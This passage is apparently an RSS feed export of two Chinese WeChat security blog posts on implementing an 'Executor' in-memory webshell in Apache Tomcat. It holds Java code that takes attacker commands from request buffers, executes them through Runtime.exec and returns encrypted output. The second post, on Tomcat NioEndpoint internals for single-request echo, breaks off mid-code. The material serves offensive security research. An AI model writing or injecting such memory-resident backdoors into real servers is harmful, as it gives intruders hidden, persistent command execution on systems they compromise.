class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">if</span>(a[<span class="code-snippet__number">0</span>] == <span class="code-snippet__number">0</span>){</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">return</span> <span class="code-snippet__string">&#34;&#34;</span>;</span></code><code><span class="code-snippet_outer">                }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">if</span>(<span class="code-snippet__keyword">new</span> <span class="code-snippet__built_in">String</span>(a).indexOf(<span class="code-snippet__number">0</span>) != <span class="code-snippet__number">-1</span>){</span></code><code><span class="code-snippet_outer">                    Arrays.fill(buffer.array(),(byte)<span class="code-snippet__number">0</span>);</span></code><code><span class="code-snippet_outer">                    buffer.position(<span class="code-snippet__number">0</span>);</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">return</span> <span class="code-snippet__keyword">new</span> <span class="code-snippet__built_in">String</span>(a);</span></code><code><span class="code-snippet_outer">                }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">return</span> <span class="code-snippet__keyword">new</span> <span class="code-snippet__built_in">String</span>(a);</span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//                                }</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//                            }</span></span></code><code><span class="code-snippet_outer">            } <span class="code-snippet__keyword">catch</span> (Exception ignored) {</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">return</span> <span class="code-snippet__string">&#34;&#34;</span>;</span></code><code><span class="code-snippet_outer">       }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">      <span class="code-snippet__keyword">public</span> <span class="code-snippet__built_in">void</span> PutResponse(<span class="code-snippet__built_in">String</span> a , ByteBuffer buffer) {<span class="code-snippet__comment">//将回显存入buffer</span></span></code><code><span class="code-snippet_outer">           <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">                  Arrays.fill(buffer.array(),(byte)<span class="code-snippet__number">0</span>);</span></code><code><span class="code-snippet_outer">                  buffer.position(<span class="code-snippet__number">0</span>);</span></code><code><span class="code-snippet_outer">                  buffer.put(a.getBytes());</span></code><code><span class="code-snippet_outer">                  buffer.position(<span class="code-snippet__number">0</span>);</span></code><code><span class="code-snippet_outer">                  <span class="code-snippet__keyword">return</span>;</span></code><code><span class="code-snippet_outer">               } <span class="code-snippet__keyword">catch</span> (Exception ignored) {</span></code><code><span class="code-snippet_outer">               }</span></code><code><span class="code-snippet_outer">               <span class="code-snippet__keyword">return</span>;</span></code><code><span class="code-snippet_outer">       }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">......</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//对应内存马主逻辑修改</span></span></code><code><span class="code-snippet_outer">     <span class="code-snippet__built_in">String</span> cmd = getRequest2();</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">if</span> (cmd.length()&gt;<span class="code-snippet__number">0</span>) {</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">if</span>(!cmd.startsWith(<span class="code-snippet__string">&#34;getting&#34;</span>)){</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">                    Runtime rt = Runtime.getRuntime();</span></code><code><span class="code-snippet_outer">                    Process process = rt.exec(cmd);</span></code><code><span class="code-snippet_outer">                    java.io.InputStream <span class="code-snippet__keyword">in</span> = process.getInputStream();</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                    java.io.InputStreamReader resultReader = <span class="code-snippet__keyword">new</span> java.io.InputStreamReader(<span class="code-snippet__keyword">in</span>);</span></code><code><span class="code-snippet_outer">                    java.io.BufferedReader stdInput = <span class="code-snippet__keyword">new</span> java.io.BufferedReader(resultReader);</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__built_in">String</span> s = <span class="code-snippet__string">&#34;&#34;</span>;</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__built_in">String</span> tmp = <span class="code-snippet__string">&#34;&#34;</span>;</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">while</span> ((tmp = stdInput.readLine()) != <span class="code-snippet__literal">null</span>) {</span></code><code><span class="code-snippet_outer">                        s += tmp;</span></code><code><span class="code-snippet_outer">                    }</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">if</span> (s != <span class="code-snippet__string">&#34;&#34;</span>) {</span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//                        byte[] res = s.getBytes(StandardCharsets.UTF_8);</span></span></code><code><span class="code-snippet_outer">                        PutResponse(encode(DEFAULT_SECRET_KEY,s),resbuffer);</span></code><code><span class="code-snippet_outer">                        getResponse(<span class="code-snippet__string">&#34;done!&#34;</span>);</span></code><code><span class="code-snippet_outer">                    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                } <span class="code-snippet__keyword">catch</span> (IOException e) {</span></code><code><span class="code-snippet_outer">                    e.printStackTrace();</span></code><code><span class="code-snippet_outer">                }</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">else</span> {</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__built_in">String</span> a = GetRes(resbuffer);</span></code><code><span class="code-snippet_outer">                    getResponse(a);</span></code><code><span class="code-snippet_outer">                }</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">this</span>.execute(command, <span class="code-snippet__number">0</span>L, TimeUnit.MILLISECONDS);</span></code></pre></section><p>效果如下：</p><p><img class="rich_pages wxw-img" data-ratio="0.6922492401215805" style="width: 2632px;height: 1822px;" data-type="png" data-w="2632" src="https://wechat2rss.xlab.app/img-proxy/?k=86d4170f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr4U5HsrsgLNMBmgoicnRzUUXzN6gWatK9FBgxRIib9LBia4TydYw1uONsFUW35WdyRA7ibnAqBukBiaD9w%2F640%3Fwx_fmt%3Dpng"/></p><p><img class="rich_pages wxw-img" data-ratio="0.6922492401215805" style="width: 2632px;height: 1822px;" data-type="png" data-w="2632" src="https://wechat2rss.xlab.app/img-proxy/?k=da444746&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr4U5HsrsgLNMBmgoicnRzUUXkBYaycKsj9NQDFrOW6cvwR195C4L92lpBUucxvWKNR5n0EOlKe37JA%2F640%3Fwx_fmt%3Dpng"/></p><p><img class="rich_pages wxw-img" data-ratio="0.6922492401215805" style="width: 2632px;height: 1822px;" data-type="png" data-w="2632" src="https://wechat2rss.xlab.app/img-proxy/?k=b02ea652&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr4U5HsrsgLNMBmgoicnRzUUXQEicKpla1YPH9gWO9wkQDxvOy8GBPDhUib4Yxutule1pYk3u3NAK3KyA%2F640%3Fwx_fmt%3Dpng"/></p><p><img class="rich_pages wxw-img" data-ratio="0.6922492401215805" style="width: 2632px;height: 1822px;" data-type="png" data-w="2632" src="https://wechat2rss.xlab.app/img-proxy/?k=9c1f9730&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr4U5HsrsgLNMBmgoicnRzUUX3W9c6R0qP0MGQXVBoE8wz7wBiaicWmrbh0KqkaBkccrFRkxT8xWicNVww%2F640%3Fwx_fmt%3Dpng"/></p><p>读取完成：</p><p><img class="rich_pages wxw-img" data-ratio="0.6922492401215805" style="width: 2632px;height: 1822px;" data-type="png" data-w="2632" src="https://wechat2rss.xlab.app/img-proxy/?k=0016eccd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr4U5HsrsgLNMBmgoicnRzUUXD0Z8CZy9znL60nthgRqRGoeD6dH77IJjy5nN7PEvtoX7ibTfcjLdW4g%2F640%3Fwx_fmt%3Dpng"/></p><p>将获取的字符串拼接后解密：</p><p><img class="rich_pages wxw-img" data-ratio="0.6151761517615176" style="width: 2952px;height: 1816px;" data-type="png" data-w="2952" src="https://wechat2rss.xlab.app/img-proxy/?k=86abdcba&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr4U5HsrsgLNMBmgoicnRzUUXXCuJTfRVK9QTh4ricj881qZpssQhaAZ7R3n7QDtWv0ZibfqLiaYiak6yDw%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-weight: bold;font-size: 28px;"><br/></span></p><p><span style="font-weight: bold;font-size: 28px;">后记</span></p><p>代码写的很粗糙，因为本身非java出身，相关的buffer读写让我很头疼，花了一下午赶工出来的代码，主要是想分享一下思路。</p><p>整体只是一个问题的临时解决方案，基于内存马或者其他用途，感觉也可用在某些request请求头过大的场景中。</p></article>



<p><a href="2247483867">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=36f99165&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg2MjgxOTc4MA%3D%3D%26mid%3D2247483867%26idx%3D1%26sn%3Da944b743cb54e20bd636650c4345ee10%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 12 Aug 2022 17:55:00 +0800</pubDate>
    </item>
    <item>
      <title>Executor内存马的实现（二）</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg2MjgxOTc4MA==&amp;mid=2247483857&amp;idx=1&amp;sn=f39bb8c0e9a15fdeb350bbf5d3d1d7c2</link>
      <description></description>
      <content:encoded><![CDATA[<p>
原创 <span>深蓝</span> <span>2022-08-05 23:04</span> <span style="display: inline-block;">中国香港</span>
</p>

<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=7d4bb85a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FYOLztAD7Qr5EGaElAGolum0ZSu5ibUyRibPnfmmhKJvClmjvLs5Sf0ws0ib6yFbOKFTKvxM6YcPIeVia6MLbN3Eeyg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p><span style="font-size: 26px;font-weight: bold;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);text-align: start;">前言</span><br/></p><article data-content="[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;3060-1621846615933&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h1&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;p5PQ-1621846617594&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;前言&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;},{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:26}]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;NBxb-1659700527448&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;iZby-1659700527449&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;在《Executor内存马的实现》中我们通过修改NioEndpoint的Executor实现，成功完成了一个Container类型的内存马注入。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;d2qW-1659700649917&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Y8zp-1659700649902&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;但是上文中我提供的代码并不够完善，其中有一个比较明显的问题，内存马的回显需要经过我们多次request才能够实现，我们如何解决这个问题？&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;s0Mt-1659700453810&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h1&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;BhcO-1659700453808&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;正文&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;},{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:26}]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;k6Y2-1659700456735&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h2&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;b36c-1659700456734&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;为什么会出现这种情况？&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;},{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:22}]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;GTcq-1659700844114&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;x93m-1659700844112&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;前文中我们提到，Tomcat的整体架构可大致分为两块，一部分为用于处理request的Connector，另一部分&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Gd7Q-1659700815456&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;RxJg-1659700815454&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;为具体实现处理逻辑的Container。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;yILM-1659702828195&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;lFtT-1659702828192&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;ps：前文中引用的图有问题。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;bPcW-1659702820891&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;//note.youdao.com/yws/res/5/WEBRESOURCE9b6b543c96e90475e489e2ec0676b7c5&#34;,&#34;width&#34;:662,&#34;height&#34;:314},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;//note.youdao.com/yws/res/5/WEBRESOURCE9b6b543c96e90475e489e2ec0676b7c5&#34;,&#34;initialSize&#34;:{&#34;width&#34;:662,&#34;height&#34;:314},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;3Ots-1659700485069&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xCNt-1659700485067&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;由于处理逻辑过于复杂，为了节约时间，我按照自己的调试思路简单记录了一下：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;NMLH-1659701241056&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9hj0-1659701241053&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;首先NioEndpoint会从nioChannels中取出一个名为NioChannel的对象：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;jy6O-1659701239316&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;//note.youdao.com/yws/res/3/WEBRESOURCE3e42bc5261f0c9bcc7a730b88e9e20a3&#34;,&#34;width&#34;:662,&#34;height&#34;:407},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;//note.youdao.com/yws/res/3/WEBRESOURCE3e42bc5261f0c9bcc7a730b88e9e20a3&#34;,&#34;initialSize&#34;:{&#34;width&#34;:662,&#34;height&#34;:407},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;I5Hp-1659701164542&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;1aV1-1659701164538&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;然后它将会调用poller进行事件注册：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;p4RK-1659701338421&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;//note.youdao.com/yws/res/4/WEBRESOURCEa594905105e49a3f4fe60006a9beb844&#34;,&#34;width&#34;:662,&#34;height&#34;:407},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;//note.youdao.com/yws/res/4/WEBRESOURCEa594905105e49a3f4fe60006a9beb844&#34;,&#34;initialSize&#34;:{&#34;width&#34;:662,&#34;height&#34;:407},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;bADO-1659701020602&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;jnou-1659701020599&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;实现register的逻辑如下，其中个人认为比较重要的是NioSocketWrapper的封装，与PollerEvent的注册。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;lyo6-1659701423814&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;//note.youdao.com/yws/res/d/WEBRESOURCE9923d7daf07f3a8ef9ad0dbca4cc392d&#34;,&#34;width&#34;:662,&#34;height&#34;:407},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;//note.youdao.com/yws/res/d/WEBRESOURCE9923d7daf07f3a8ef9ad0dbca4cc392d&#34;,&#34;initialSize&#34;:{&#34;width&#34;:662,&#34;height&#34;:407},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;8DMp-1659701576405&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;//note.youdao.com/yws/res/5/WEBRESOURCE0e23847d8fa058717a833fed73ddbea5&#34;,&#34;width&#34;:662,&#34;height&#34;:407},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;//note.youdao.com/yws/res/5/WEBRESOURCE0e23847d8fa058717a833fed73ddbea5&#34;,&#34;initialSize&#34;:{&#34;width&#34;:662,&#34;height&#34;:407},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;UNeE-1659701575411&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;F596-1659701575409&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;可以看到这个NioSocketWrapper是基于上文获取的NioChannel对象：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;NG4x-1659701370224&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;//note.youdao.com/yws/res/c/WEBRESOURCE6bf810819da16851516989b51ec9148c&#34;,&#34;width&#34;:662,&#34;height&#34;:407},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;//note.youdao.com/yws/res/c/WEBRESOURCE6bf810819da16851516989b51ec9148c&#34;,&#34;initialSize&#34;:{&#34;width&#34;:662,&#34;height&#34;:407},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ZwLl-1659701020785&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;K8Co-1659701020783&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;addEvent：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;etob-1659701626106&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;wrap&#34;:false,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;XJll-1659701626105&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;DN0U-1659701623231&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;......&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;a63n-1659701712531&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Cb07-1659701712530&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;USHF-1659701709818&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;0QhO-1659701709816&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;private void addEvent(NioEndpoint.PollerEvent event) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;e4Ek-1659701626608&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;TKkd-1659701626606&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    this.events.offer(event);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Sm4T-1659701626610&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;X83t-1659701626609&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    if (this.wakeupCounter.incrementAndGet() == 0L) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;kZUN-1659701626612&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;lyjF-1659701626611&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        this.selector.wakeup();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;PDBG-1659701626614&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Z3lF-1659701626613&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;arrf-1659701626618&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9z5I-1659701626617&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;}&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;wRe9-1659701691945&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;U3PB-1659701691943&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;wEfo-1659701692133&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;d7rQ-1659701692132&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;......&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;D9xU-1659701692323&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;WK8x-1659701692321&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;TvBu-1659701692463&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ZM87-1659701692461&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;public synchronized boolean offer(T t) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;F4bj-1659701693148&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Suo1-1659701693147&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    this.queue[this.insert++] = t;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ZmBs-1659701693150&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vhSU-1659701693149&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    if (this.insert == this.size) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;aWcl-1659701693152&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;otuN-1659701693151&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        this.insert = 0;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;3P3R-1659701693154&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;zTCh-1659701693153&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;drf3-1659701693156&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;maB6-1659701693155&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;68p4-1659701693158&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;PDFA-1659701693157&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    if (this.insert == this.remove) 